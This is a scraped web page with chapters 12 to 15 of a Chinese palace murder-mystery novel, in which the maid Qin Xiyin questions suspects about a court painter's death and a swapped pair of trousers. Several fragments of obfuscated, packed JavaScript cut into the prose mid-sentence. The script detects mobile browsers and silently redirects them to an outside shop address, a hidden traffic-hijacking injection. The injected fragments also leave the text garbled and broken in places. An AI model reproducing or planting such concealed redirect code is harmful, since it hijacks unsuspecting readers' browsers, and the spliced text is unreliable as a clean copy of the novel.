l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751538|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一些有趣的事。” “是,多谢娘娘教导。只是奴婢还有一些事想询问月季和林女官。” “行,你去吧。哎呀,本宫光顾着跟你说话,一不留神把一朵刚开的花给剪掉了,着实可惜。这花还叫长寿花呢。不过,花是不是长寿,还得看本宫剪不剪它。惜音,你说是吗?” 秦惜音看着落在地上的长寿花,心中一凛,说道:“娘娘说的是。” 不过,秦惜音并不会被瑾妃这番绵里藏针的威胁给吓到。 既然太后叫她来查案,查清真相才是最重要的。就算要搭上这条命,秦惜音也不后悔。她如若为了真相而死,至少是死得其所。 接着,秦惜音就去找了月季,询问道:“月季姑姑,请问您在案发当晚赏月,具体是在月盈殿的什么位置?” 月季道:“在正殿的屋顶。” “您是怎么上的屋顶?直接飞上去的?” “不太记得了,好像是踩在墙上借力,然后才上了屋顶。” “您当天穿的是哪双鞋子?” “就是我现在穿的这一双。” “能否让我看看?” “可以。” 月季把鞋子脱了下来,递给秦惜音。 秦惜音比对了鞋子的花纹和自己描下来的花纹,发现一模一样。 那么,月季大概率没有说谎,她在案发当晚确实是去月盈殿赏月了。 秦惜音把鞋子还给月季,接着问道:“月季姑姑,不知其他宫人的鞋子是否有跟您一样的呢?” “应该没有,我的鞋子都是我自己做的。由于我身份特殊,对鞋子的防滑度和牢固度有很高的要求,不能穿一般宫女的鞋子,就自己做了。” “嗯。” “你去过月盈殿了?” “是的,我还发现了您留在墙上的脚印。这个证据对您有利,有可能能证明您是无辜的。” 月季露出轻松的神色,似乎心情很好。 从她的眼神中,秦惜音觉得,月季应该是为了能洗清嫌疑而高兴。 那么,月季杀人的可能性很小。 接着,秦惜音走了出去,借故查看其他宫女的鞋底。 她发现,其他宫女的鞋子确实跟月季的鞋子不一样。那月季说实话的可能性就增加了。 然后,秦惜音来到了女官林锦屏的屋子。 秦惜音问道:“林女官,请您仔细回忆一下,您在案发当晚把自己腿上的蚊子包给挠破时,是在芳菲殿的什么位置?” 林锦屏道:“这个……就是在芳菲殿里,但具体是什么位置……就是在草丛里吧。” “具体是哪里的草丛?” 林锦屏回忆了一下,道:“好像是靠近墙边的草丛。” “哪堵墙?” “应该是西侧殿的墙吧……” 林女官的说法,也跟秦惜音的调查结果对上了。 林女官在西侧殿的墙边挠破了自己腿上的蚊子包,流出鲜血,滴了一些在草丛上,所以才留下了痕迹。 这个证据虽然不是很充分,但也是对林女官有利的。 这么看来,林女官和月季杀人的可能性都比较低,她们俩当晚应该都是去了无人的宫殿。 12. 新旧裤子 秦惜音把自己的推论告诉了林锦屏,但林锦屏没有喜出望外,只是微微一笑,说道:“是吗……那太好了,谢谢你,惜音妹子。我那天确实是去了芳菲殿,我也不知道荀白鹤是怎么死的。不过,荀白鹤身上插着月季的匕首,我总觉得事情没那么简单。” 秦惜音听明白了林锦屏的言外之意,不动声色地点头道:“我明白了,我会继续调查匕首的事,林女官放心。我想,还您清白的日子不远了。” “那就好……” 林锦屏笑了笑,但忽然又显得很悲伤。可能她是为了荀白鹤而悲伤吧。 之前秦惜音从不同的人口中听闻,林女官性格强势。但是,一番接触下来,秦惜音却觉得,林锦屏好像挺好说话的样子。 这可能是因为林锦屏比较会做人,知道秦惜音是太后的人,就以礼相待,还不停地套近乎,所以秦惜音见不到她强势的一面。 相比之下,月季就直接很多。 秦惜音稍加休息,决定去找太医郁山青讨论一下案情。郁山青看着很关心这桩案子,而且他是给死者验尸的人,应该知道很多细节。 也许两人讨论一下,能有更多发现。 于是,秦惜音去了太医院,找郁山青。 郁山青坐在药房捣药,他旁边还坐着一个穿着杏色圆领袍的男子,正在看书。 秦惜音直接走到了郁山青面前,说道:“郁太医,我有一些发现……” 这时,郁山青和旁边的杏衣男子同时抬头。秦惜音发现,这杏衣男子竟是大理寺丞高毅。 高毅今天大概不是来面圣的,所以穿得比较简约,头发简单地束起,发髻上戴着一根玉簪。 虽然没有过多装饰,却显得他容颜清雅,顾盼生姿,气度高远如山上松,双目澄澈如林间泉。 秦惜音看呆了,高毅笑道:“秦姑娘,又见面了。” 秦惜音赶紧说道:“是啊,高大人。不知您今天来有何贵干?” “我是来询问荀白鹤一案的进展的,上司把这个案件交给我负责。但我不能直接介入调查,只能隔三差五来问问宫里的调查进展。刚才我询问了郁太医,得知此案由惜音姑娘亲自调查,就在这里等着,看能不能等到你。” 秦惜音心里也产生了一种惊喜的感觉,她尽量假装平静,然后把自己这一天的收获都说了出来。 高毅道:“这么说,月季和林女官的嫌疑较小?那张画师呢?” 秦惜音:“张诚志一问三不知,只是信誓旦旦地表示他没有杀人。目前我没有找到更多线索。” 高毅道:“要不还是再去看看尸体吧,也许会有新发现。” 秦惜音和郁太医都赞同。 三人来到冰窖,却发现有另外两名画师在这里,还拿了一些果品祭祀荀白鹤。 其中一名画师,竟是张诚志。 秦惜音问道:“张画师,您怎么会来这里?” 张诚志神色有些不自然,说道:“你们都怀疑是我杀了荀白鹤,我怕荀白鹤的鬼魂也这么想,会回来找我复仇。所以我买通了看门的小太监,偷偷跑出来祭祀他,跟他说杀他的不是我,希望他不要找错了人。我一个人不敢前来,就找了一个关系好的画师陪我一起。” 秦惜音有些无语,说道:“凶手是当面杀死荀白鹤的,荀白鹤如果真有鬼魂,肯定知道真正的凶手是谁。如果凶手不是你,他就不会找上你。” “不怕一万,就怕万一嘛。” 秦惜音有点想笑。她觉得,张诚志能做出这种事,他是凶手的可能性很低,他智商正常的可能性也很低。 这时,郁太医警觉地看向张诚志:“你们没触碰他的尸体吧?” “当然没有,我们也不敢碰。你不会怀疑我是来破坏尸体的吧?我可没这么做。” “没有,我只是随便问问。” 接着,郁山青重新验尸,秦惜音和高毅在一边仔细看着。张诚志和另一个画师站得稍远,探头探脑的,有一种想看又不敢看的感觉。 高毅小声问郁太医:“尸体有被动过吗?” 郁太医:“目前来看没有。” 过了一会,郁山青有些失落地摇头道:“没有什么新发现,一切都跟之前一样。” 这时,旁边的张诚志却道:“不对,荀白鹤的裤子换了。” 秦惜音问道:“什么意思?” 张诚志道:“荀白鹤死的那天,穿的不是这条裤子。” 秦惜音惊讶,问道:“你说的可是真的?” “是真的。荀白鹤那天穿的是一条崭新的裤子。但他现在的这条裤子,看起来比较旧了,裤腿处还有一些破损和黑点。这些黑点明显就是时间长了洗不掉。我也觉得奇怪。” “等一下,你不是跟荀白鹤关系不好吗?怎么会注意到他那天穿的裤子是新是旧?” “我也没有特意去看,是因为走路的时候,衣摆动起来,难免会露出里面的裤子。我也是无意间看到他的裤腿非常新,知道那是刚做的裤子。由于那天他穿的衣服是旧的,跟新裤子不搭,所以我印象比较深刻。” 秦惜音等人听了这话,仔细观察死者身上的衣服裤子,发现死者的衣服确实比较旧了,而裤子也是旧的。 秦惜音道:“难道死者的裤子被换了?是什么时候换的?” 郁太医道:“我在给死者验尸的时候,他穿的就是这条旧裤子。所以,他的裤子如果真的换过,那就应该是遇害那天晚上,张画师离开之后。至于他是遇害之前换的,还是遇害之后,就不得而知了。” “他为什么要换裤子?或者说,凶手为什么要把他的裤子换了?郁太医,死者的下.半身有什么伤口吗?” “没有,他唯一的伤口就是在心口处。” “那就奇怪了……” 高毅道:“最简单的解释,就是死者当天晚上不小心弄脏了裤子,所以换了一条。或者是荀白鹤被杀之后,凶手见他的裤子是新的,就拿走了,想自己穿,然后拿了一条旧裤子给荀白鹤穿上。但是,后一种可能比较牵强。” 郁太医道:“虽然牵强,但也不是全无可能……也许凶手一开始只想杀人,但他看见荀白鹤的裤子是新做的,想着死人也不需要穿新裤子,就拿走了……但是,拿走新裤子还可以理解,他为什么要在死者身上盖满画卷呢?” 张诚志道:“也许是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751539|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了掩盖尸体。” “不对。如果要掩盖尸体,应该把尸体拖到远处埋了,而不是大喇喇地放在画室里,还拿这么多画卷盖住,这反而让尸体变得更加明显。” 张诚志猜不到凶手的动机,干脆闭上了嘴。 秦惜音分析道:“如果是荀白鹤活着的时候想换裤子,他肯定要回到自己的宿舍换,然后再回画室。这一来一回的,很容易被人看见。但是并没有目击者说死者在临死前曾经回过宿舍,那死者一直没有离开画室的可能性较高。他的裤子应该也是被凶手换掉的。 而凶手换掉其裤子,肯定有特殊的原因,应该不是为了自己穿。一来尺码未必合适,二来他难道不忌讳吗?至于他在死者身上盖满画卷,此举也挺奇怪的。我想,他应该不是一时兴起,而是有别的原因。 只是,换掉死者的裤子,还有在死者身上盖满他自己画的画卷,这两件事都太过奇怪,很难猜到凶手的动机。” 这时,高毅似乎想到了什么,小声对郁太医说了几句话。 郁太医神色微变,既像是惊讶,又像是尴尬,还带着几分难以言说的意味。 接着,他说道:“没有,我仔细检查过了。” 秦惜音问道:“你们在说什么?” 高毅镇静道:“没什么。” 然而,他却没有看秦惜音的眼睛,只是看着地上。 郁太医微笑道:“确实没什么,是不太重要的话。” 秦惜音总觉得他们俩怪怪的,不知道偷偷说了什么,虽然心中好奇,但也没有继续追问。 这时,秦惜音想起,自己检查死者的衣柜时,里面只有两件外套和一些配饰,是没有裤子的。 秦惜音问在场的另一个画师:“这位画师,你是跟死者同住一个宿舍的吗?” “是。” “那你知道他的衣柜里本来有没有裤子吗?” “应该有一条吧。” “可是,我今天去看他的衣柜时,发现里面没有裤子。” “这就不知道了……难道是凶手在杀了荀白鹤后,还偷偷溜进了荀白鹤的房间,拿走了另一条裤子,给荀白鹤换上?” “很有可能是这样,要不然,这条换上的裤子为什么刚好合身呢?不长不短,像是本来就是为荀白鹤量身定做一样。” “如果照您这样说的话,凶手应该不是外人,而是对荀白鹤非常熟悉的人。至少那个人要知道荀白鹤的宿舍在哪里,还清楚荀白鹤的衣柜里有一条旧裤子,可以拿来换上。那这范围就很小了,说不定凶手就在宫廷画师之中。张诚志,是不是你?” 张诚志惊讶道:“不是,你跟我不是朋友吗?你怎么也怀疑起我来了?” “抱歉,话赶话,想到这儿了。但你真的很可疑啊。你如果心里没鬼,为什么要拉上我,偷偷来祭祀荀白鹤?你难道不是在祈求他原谅你?” “你在说什么东西,我怎么会祈求他原谅我?又不是我杀的他。我说了,我只是怕他的鬼魂认错凶手,来找我报仇,我是来祈求他不要认错凶手而已。你怎么能怀疑我?那我也可以怀疑你了,毕竟你跟荀白鹤是同宿舍的,你更方便拿到他的裤子吧?” 13. 母女遭殃 另一个画师一脸无辜:“不是,我拿他的裤子干什么?首先我没有理由杀他,其次我没有能力一击毙命,第三我没有得到月季的匕首,第四我更没有理由脱走他的新裤子,给他换上旧裤子。 我不是那种会杀人的人,更不是那种杀了人还要拿走他新裤子的人。 再说了,如果我真的做了这些事,必定会留下痕迹。那惜音姑娘有没有从我的衣柜里找到荀白鹤的新裤子呢?没有吧?” 秦惜音道:“确实没有。” 那画师一脸自豪地对张诚志道:“你看吧,不是我!再说了,你跟荀白鹤有矛盾,众人皆知。我跟荀白鹤关系还好的,我是不可能杀他的。 而且,他死的那天,我早早就离开了画室,有好几个同僚跟我一起离开的,他们都可以给我作证。” 张诚志的气焰小了下去:“好吧,那你嫌疑较小,那也不能说是我啊。跟他有过节就会杀人?那徐绍的女儿们更有理由杀他吧?” 秦惜音敏锐地捕捉到了他话中的新信息,问道:“等等,这又跟徐绍的女儿们有什么关系?” 张诚志道:“你不知道,徐绍有好几个女儿,至少有八九个吧。他一辈子都想生儿子,可惜他妻子生下的每一个都是女儿。 他妻子也因为生育过多,落下了严重的产后疾病,常年卧病在床。徐绍又好喝酒,挣的钱大部分都买酒了,有时候给妻子抓药都要赊账。 荀白鹤是他邻居家的孩子,从小就聪明可爱,又因为画画得好,有神童之称,徐绍一向很喜欢他。 后来,荀白鹤父母双亡,徐绍就经常把荀白鹤接到自己家里,给他很多东西,教他画画,带他到处玩,对待他就跟亲儿子一样。 可是,徐绍对女儿们就没这么好了,不仅经常让女儿们干活,还对她们很苛刻。女儿们想买东西,他就说没钱。但荀白鹤若是缺了什么,他马上就买回来了。 几个年长的女儿们出嫁后,过得不好,徐绍从来都不管。可是荀白鹤长大了,考举人没考中,徐绍立刻走关系,把他介绍到翰林图画院来当宫廷画师。 如此区别对待,他的女儿们都很有意见。但是,每次他女儿们跟荀白鹤闹矛盾,徐绍都压了下来,还偏袒荀白鹤。 据我所知,徐绍的女儿里面,有几个对荀白鹤恨之入骨的,比如他的二女儿徐二娘。 对了,荀白鹤死的那天,徐二娘也来过,而且是第二天早上才出宫的。我看,徐二娘也有嫌疑。” 听张诚志这么一说,秦惜音忽然想起一件事。 之前徐绍向郁太医拿药,还对郁太医说要赊账,郁太医同意了。郁太医还对他说,只要他少喝点酒,买药就不用赊账了。 当时徐绍看起来很健康的样子,秦惜音不知道他抓药干什么。 如今看来,他是在给自己的妻子抓药,因为她妻子生了太多孩子,患上了产后疾病。 本来秦惜音觉得徐绍是个好人,提携后进,关心邻居家的孤儿,没想到背后的真相竟是这样。 对徐绍的女儿们来说,徐绍绝不是一个好父亲。对徐绍的妻子来说,徐绍也绝不是一个好丈夫。 那么,徐绍的妻女其实也有杀荀白鹤的动机。 秦惜音问郁太医:“郁太医,之前徐绍向您拿的药,是不是用来给他妻子治病的?” 郁太医点头:“没错,他隔三差五就要给妻子抓药,还说他妻子长年累月地病着,花了不少钱。不过凭良心讲,他要是少生几个,他妻子也不会病得这么重。 而且他有点闲钱,要么喝酒,要么用来补贴荀白鹤,所以给他妻子抓药时老是赊账。后来,其他太医都不理他了,只有我肯赊账给他。不过,那也是我怕他妻子受苦。对于徐绍此人,我实在不敢恭维。” 听郁太医这么说,秦惜音也暗暗摇头。 这时,秦惜音问张诚志:“徐绍家的情况,为什么你这么清楚?” 张诚志想说话,却打了好几个喷嚏。 秦惜音这才意识到,冰窖里太冷了,还是先上去再说。 于是,众人一起上去。 张诚志觉得暖和了一些,不再打喷嚏,才说道:“徐绍家里的情况,跟他共事几年的画师全都知道。我们平时聚会,也会聊起家里的情况的。同僚之间有什么喜事,也会随份子。 我进翰林图画院的时间也才几年,但给徐绍随份子随了七八回了,每回都是他女儿生孩子,或是他外孙、外孙女生日啥的。我一开始也好奇,他家的喜事也太频繁了。 一问才知道,他有九个女儿,其中五个已经出嫁了,怪不得这孩子一个接一个的。 可是,他收了份子钱,也不补贴给女儿和外孙,大部分都自己拿去喝酒了,或者给了荀白鹤。 他这种行为,我都看不下去。要我说,他的女儿还真有可能杀了荀白鹤。” 秦惜音道:“听你们这么说,徐二娘确实有杀人动机……但之前你们怎么没提起徐二娘的事?” 张诚志道:“我没往这方面想,刚才才想起来的。你们都说我跟荀白鹤有过节,所以我有可能杀人。那我就突然想起来,跟荀白鹤有过节的不止我一个,徐绍的家人应该都挺恨荀白鹤的。” “荀白鹤死的那天,徐二娘是什么时候进来的?她进宫干什么?” “她好像是给徐绍送吃的,顺便跟徐绍说,如果有空的话,去她家帮忙干一下活,但徐绍没同意。至于她后来去了哪里,我就不知道了。反正她当天没出宫,我第二天早上亲眼看见她出宫的。” “那天晚上,只有你和荀白鹤留在画室里,你有没有看到徐二娘从窗外窥视?” “没有。她可能是等我走后,才进去杀了荀白鹤的。” “徐二娘跟荀白鹤关系如何?她有没有机会一击毙命?” “徐二娘长得人高马大的,如果跟荀白鹤打斗起来,可能能打赢。但一击毙命,感觉有点难度,而且是正面……她跟荀白鹤的关系明面上就不和,私底下估计更加紧张。但不管怎么说,凶手不是我,那八成是徐二娘或是其他人。” “我明白了。你是嫌疑人,你还是先回自己的住所去,不要乱跑。我找人去把徐二娘带来问问。” “好吧。” 张诚志往自己的住所走去,正逢看守他的小太监慌慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751540|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张张地来找他,见到他便把他拉走了。 郁太医要回太医院干活,也就先跟秦惜音告辞了。 现在只剩下秦惜音和高毅二人。 她们一边慢慢地走着,一边讨论案情。 秦惜音走下一级台阶时,忽然脚下一滑,差点摔倒,还好被高毅扶住。 高毅柔声道:“姑娘小心。” 秦惜音赶紧直起身来,往旁边走了一步,道:“谢谢高大人……” 她往台阶上看去,见台阶上有一些青苔,刚才她就是被青苔绊倒的。 高毅道:“最近青苔很多,惜音姑娘走路要多注意些。大理寺那边还有公务,我也先走一步。” “嗯……对了,高大人,之前在太后娘娘的赏花宴上,您为何故意射不中,让庐陵长公主以为您射艺不精?” 高毅笑了笑:“惜音姑娘那天不是也故意扮丑?” “我……我是为了不引人注意。” “我也是。” “难道高大人不想成为庐陵长公主的驸马?” “看不出来吗?” “可是……成为驸马有什么不好?而且,庐陵长公主也挺好的……” 高毅突然认真地看着秦惜音,道:“成亲的事,可不是随便找个人就行的,至少得两情相悦。再说,我那天就算尽了全力,庐陵长公主也未必看得上我。我喜欢的人,也不是庐陵长公主那样的。” “哦……” 秦惜音没再问下去,她觉得这涉及个人隐私,她跟高毅还没那么熟。 高毅说道:“我现在回大理寺,派几个人去徐二娘家里,把她带到宫里,你可以问话。你就在西边的九鼎门那里等候吧。” “谢谢高大人。对了,徐二娘会不会跑了?” “如果她跑了,反而是好事,证明她的嫌疑很大,大理寺会全力追捕。如果她没跑,我会叫人尽快把她带过来。” “嗯。” 高毅走后,秦惜音觉得,应该先控制住徐绍,不能让他随意走动。如果真的是他女儿杀人,他很可能会从中作梗。 于是,秦惜音用太后给的令牌,命令几个宫中巡逻的侍卫跟着她,听她的吩咐。 侍卫们没有二话,跟在秦惜音身后。 秦惜音先到了图画院,找画师徐绍。 可是,其他画师说,徐绍虽然没有出宫,但现在不在图画院里。 秦惜音又到处找人问,知不知道徐绍在哪里。 一个年老的画师说道:“徐绍好像去翰林院那边了,姑娘可以过去找找。” 秦惜音点头欠身:“好的,多谢您了。” “对了,您找他干什么?” “还是为了荀白鹤的命案一事,有些事想问他。” “您该不会是怀疑徐绍吧?我说句公道话,徐绍是最不可能杀荀白鹤的人了,他对荀白鹤,那真是比亲儿子还好,我们都看在眼里的。而且,荀白鹤死的那天夜里,徐绍好像在洗衣服,没有出门的。” “不是,我没有怀疑徐绍,其实我怀疑的是……对了,荀白鹤遇难那天,徐绍的女儿徐二娘是不是来过?” 14. 身后之名 “是的,我也见过。” “她给徐绍送完饭后,去了哪里?” “这我就不知道了,没注意。” “她是不是第二天早晨才出宫的?” “这我也没注意。” “好的,多谢您了。” 秦惜音正准备离开,忽然想到了什么,问那老画师:“老先生,您刚才说,徐绍在荀白鹤死的那晚,在洗衣服?” “是的,其实我是第二天早上发现的。我跟徐绍是同一间屋子的,案发当晚,我也没有出宫,住在宿舍里头。那天晚上,我很早就睡了,第二天也醒得很早。 我醒来的时候,发现徐绍坐在床边,窗户边还晒着一条裤子。 我猜那条裤子是徐绍的,就问他,为什么不把裤子晒到院子里。他说,他那条裤子是用名贵的布料做的,在太阳底下晒太久可能会损坏,所以晒在窗户下就行了。 我又问他,是什么时候洗的裤子,他说是昨晚半夜的时候,睡不着,就把脏裤子洗了。 我说,为什么不拿回家,让他妻子或女儿洗。他说,他妻子一直生病,不想劳烦她,女儿们平时也要干很多活,所以就自己洗了。 我当时觉得,徐绍变得体贴了,因为那是他第一次自己洗衣服。” 听了这些话,秦惜音略微皱眉,似乎觉得有些不对劲。 她继续问道:“您确定那条裤子是徐绍的,而不是死者的?” 老画师有些惊讶:“啊?为什么会是死者的裤子?徐绍说是他的啊。徐绍对荀白鹤虽然好,但从来没有亲自帮荀白鹤洗过衣服。” “那么,您能确定那条裤子真的是徐绍的?” “应该不能确定……那就是一条普通的裤子,上面也没写名字……” “您说徐绍从前从来没有洗过衣服?那他那天为什么反常地洗起了裤子?” “可能是他突然良心发现,觉得自己的妻女太辛苦了,所以就顺手把自己的裤子给洗了。” “您不觉得奇怪吗,谁大半夜洗裤子啊?” “是有点奇怪,但他可能是想早点干完活,不要把家务留到第二天吧。” “那他半夜洗衣服,是您亲眼看见的吗?” “那倒没有,我晚上睡得很沉,没有醒来过。是第二天徐绍自己说的。” “那条裤子是男式的还是女式的?” 老画师想了一下,道:“是男式的。” “您确定?” “确定。” 秦惜音本来怀疑,可能是徐二娘杀了人,溅了血在裤子上,所以她父亲徐绍帮忙洗裤子来隐瞒。 但是,老画师又说那条裤子是男式的。 而且,如果徐二娘真的杀了荀白鹤,血也应该是溅在上衣和裙子上。裤子是穿着裙子里面的,应该溅不到血才对。 秦惜音觉得云遮雾罩的,奇怪的事又多了一件。 她决定还是先去找徐绍再说。 她往翰林院走去,大概两刻钟后,来到了翰林院附近。 徐绍在翰林院门口徘徊,好像有什么心事。 秦惜音决定先不过去,看看徐绍想干什么再说。 于是,她躲在了树林后面,她带来的侍卫们也跟她一起躲着。 过了一会,有个官员从翰林院里走了出来。 秦惜音认得那个官员,他是翰林院修撰,负责编修国史,姓康。以前,他曾经到秦惜音家里来过,拜访过秦惜音的父亲。当时秦惜音也在,所以认识他。 这时,徐绍迎了上去,对那位康修撰道:“康大人,我之前跟您提过的事,不知道您考虑得怎么样了?” 康修撰道:“徐画师,我理解您的心情。只是,史书篇幅有限,凡是能在史书上留名的,都不是一般人物。荀白鹤虽然画画得好,但还不足以写入史册。” 徐绍恳求道:“难道不能把荀白鹤写入《画师列传》之类的传记中去吗?他从小在绘画方面就很有天赋,画的画比很多老画师还好。” “可是,画画得好的人太多了,荀白鹤并不突出。就算我要写《画师列传》,荀白鹤也排不上号。” “可是,他的事还是很独特,很值得书写的。比如,他在二十几岁的年纪英年早逝;他被人谋害,死因成谜;他死的时候,身上盖满了画卷。他这一生,也可以称得上是因画而生、因画而死,很有传奇色彩。” “徐画师,我编写的是国史,不是民间话本子,不需要通过戏剧性来吸引人。能入《画师列传》的人,首先得是誉满天下、画技超群、作品众多的画师,最好除了画师之外,还有别的特殊身份,比如皇族、高官、将领等等。寻常画师,不值得书写。” “康大人,求您通融一下,我这里有一些银两……” 康修撰赶紧拒绝,道:“徐画师,您是怎么想的,竟想用钱来收买史官?史官最重要的便是秉笔直书,富贵不能淫,贫贱不能移,您还是把钱收回去吧。” “可是……可是荀白鹤平生最大的愿望,就是被载入史册……您就看在他年纪轻轻,死得这么惨的份上,通融一下吧。即便只写一两笔也行啊。” “这不行啊,徐画师,您还是别为难我了。” 说着,康修撰就离开了。 徐绍有些失望,又有些悲伤。他没有追上去,可能是觉得追上去也没用。 秦惜音终于知道徐绍来这里做什么了。他竟然是来求史官,把荀白鹤写入史册。 看来,他对荀白鹤的感情真的很深,不止在荀白鹤活着的时候多加关照,就连荀白鹤死了,也要为他博取身后名。 秦惜音也不知道该感叹,还是该生气。 她走了出去,对徐绍道:“徐画师,关于荀白鹤一案,我还有一些话想问您。” 徐绍道:“您问吧。” “还是回图画院再说吧。” 一行人回到了图画院,秦惜音去了徐绍的房间,让徐绍坐下,然后开始询问。 秦惜音问道:“徐画师,在案发当天,您的女儿徐二娘是不是来过?” “是的,她是我的二女儿,来给我送吃的,顺便说了会话。” “她是否没有离开,第二天才离开?” “啊?这我就不知道了。” “您怎么会不知道?” “我跟她聊完后,她就说有事先走了,后来也没有回到我这里过,我以为她出宫了。” “可是,有画师看到,她是第二天才离开的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751541|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “谁看到的?” “张诚志。” “我不清楚,要不把她叫过来问问吧。” “嗯,我已经派人去找她了。对了,她跟荀白鹤关系如何?” “关系不太好。每次她来图画院看我,都不会给荀白鹤带东西,也不会去看望他。我说过二娘好几次,但二娘每次都很生气,不允许我谈论荀白鹤。” 秦惜音有些无语:“您不知道您的女儿为什么会这样吗?” “她脾气不太好,而且她一直觉得我偏心荀白鹤……不止是她,我的其他女儿也这么想。其实没有,我对荀白鹤好,是因为他是孤儿,他很可怜,所以我当然要多关心他了。这是我作为一个邻居,一个长辈,所应做的。” 秦惜音无奈地笑了一下,没有继续谈论这个话题。 接着,秦惜音问道:“听说在案发当晚,您在房间里洗衣服?” 徐绍有些惊讶,随即说道:“您怎么知道这事?” “我是听人说的。你洗的是荀白鹤的裤子吗?” “不是,是我自己的。” 秦惜音直视着徐绍的眼睛,想看看他有没有说谎。 但是,徐绍眼神笃定,不像说谎的样子。 “荀白鹤的裤子被人换了,您知道吗?” 徐绍瞳孔放大,呆了一瞬,接着说道:“是吗?有这回事?” “没错。” “可是,这是为什么?” “据说,荀白鹤活着的时候穿的是一条新裤子,死后穿的却是一条旧裤子。目前我能想到的解释是,凶手杀了他之后,觉得他的新裤子不错,就拿走了,又拿了一条旧裤子给荀白鹤换上。” 徐绍似乎松了一口气,又似乎有些难以置信,说道:“怎么会有这种人?” “这不奇怪,凶手连人都敢杀,偷走一条新裤子有什么奇怪?” “这倒也是……他可能觉得,反正荀白鹤都死了,顺便把他身上值钱的东西拿走,还能给自己用。” “是的,我也这么觉得。徐画师,听说您的女儿们都比较穷?” “姑娘为何这么问?” “我也是听人说的,想求证一下。” “我只是一个画师,俸禄不高,家里孩子又多,所以生活条件确实不是很好。而且我那几个年长的女儿们,嫁得也一般,一直过得比较苦。我的钱还要用来养小一点的女儿们,还有给我妻子看病,所以也没法补贴几个出嫁的女儿。” 秦惜音点头:“嗯……所以,对于徐二娘来说,一条新裤子其实也值得一偷?” 徐绍惊讶地看着秦惜音,似乎有些生气:“惜音姑娘,您什么意思?您怀疑是我女儿徐二娘杀了人,还把荀白鹤的新裤子给偷走了?” 秦惜音冷静道:“我只是大胆假设,但最终的结果,还是要依据证据而定。徐画师,您无需生气。” “绝不是我女儿!二娘她只是脾气不好,但她不可能杀人的!” “我听说,因为您对荀白鹤太好,您的女儿们都很有意见?” “确实如此,但她们也不至于要杀人啊。而且,二娘已经有两个年幼的孩子,现在还怀有三个月的身孕,她怎么可能在这个时候去杀人?” 15. 倒卖财物 秦惜音惊讶:“她已经有三个月的身孕了?” “是啊,她说她怀这一胎很辛苦,没什么力气,想让我去她家帮忙干活,但我没同意。一方面,画院这边挺忙的;另一方面,我也不太会干家务活。我让她再忍忍,忍过几个月,也许身体就好了。 她还跟我吵了一架,跑了出去。我也没去找她,所以不知道她当天出宫没有。” “原来如此。” 秦惜音觉得,一个孕妇即便再生气,也不太可能去杀人,否则自己年幼的孩子怎么办?未出世的孩子怎么办? 不过,还是要当面问一问徐二娘,才能确定。 秦惜音让几个侍卫去西边的九鼎门,等候徐二娘。 过了一会,侍卫们把徐二娘带来了。 徐二娘是一个身材魁梧的农妇,虽然长得不高,但看起来力气很大的样子。她头上包着一块蓝色的头巾,脸上有挥之不去的怨气,可能是长年累月的苦日子造成的。 她的肚子比较大,不像是怀孕三个月,倒像是怀孕五六个月。这并不是因为她的胎儿过大,而是因为她身材本来就比较胖,再加上生育前两个孩子的时候应该也没恢复好,导致肚子凸出,没有收回去。 像这样的身材,秦惜音也见过很多。以前,相府的一些仆妇也是这样的。 所以,光看徐二娘的肚子,其实没法判断她怀孕没有、怀孕几个月了。 她好像还生徐绍的气,没有叫徐绍,而是直接对秦惜音道:“这位女官,我听大理寺的官差们说,您有事情问我?” 秦惜音道:“我不是女官,只是太后殿的一名宫女。我奉命调查荀白鹤的死——” 徐二娘却冷笑道:“没什么好调查的,早点把他下葬算了。” “徐二娘,你为什么这么说?难道关于他的死,你知道真相?” “我不知道真相,但我觉得他死得好。没必要调查他的死因,他遭遇这一切就是罪有应得。” 徐绍很生气,怒斥女儿:“你说的这是什么话!” 徐二娘一点也不怕,反而直视着父亲徐绍的眼睛,嘴角有些得意地上扬:“您老人家生不出儿子,就把荀白鹤当儿子,有点钱都花他身上了。您对他那么关心,对我们却很不耐烦,好像我们这些女儿才是捡来的。 老天爷看不下去了,所以把他收走,真是可喜可贺。不瞒您说,得知他死讯的那天,我就放了好几个鞭炮。” “你——” 徐绍气得后仰,手指指着女儿,不停地咳嗽。他似乎想骂女儿,但一下子组织不好语言,只能瞪着她。 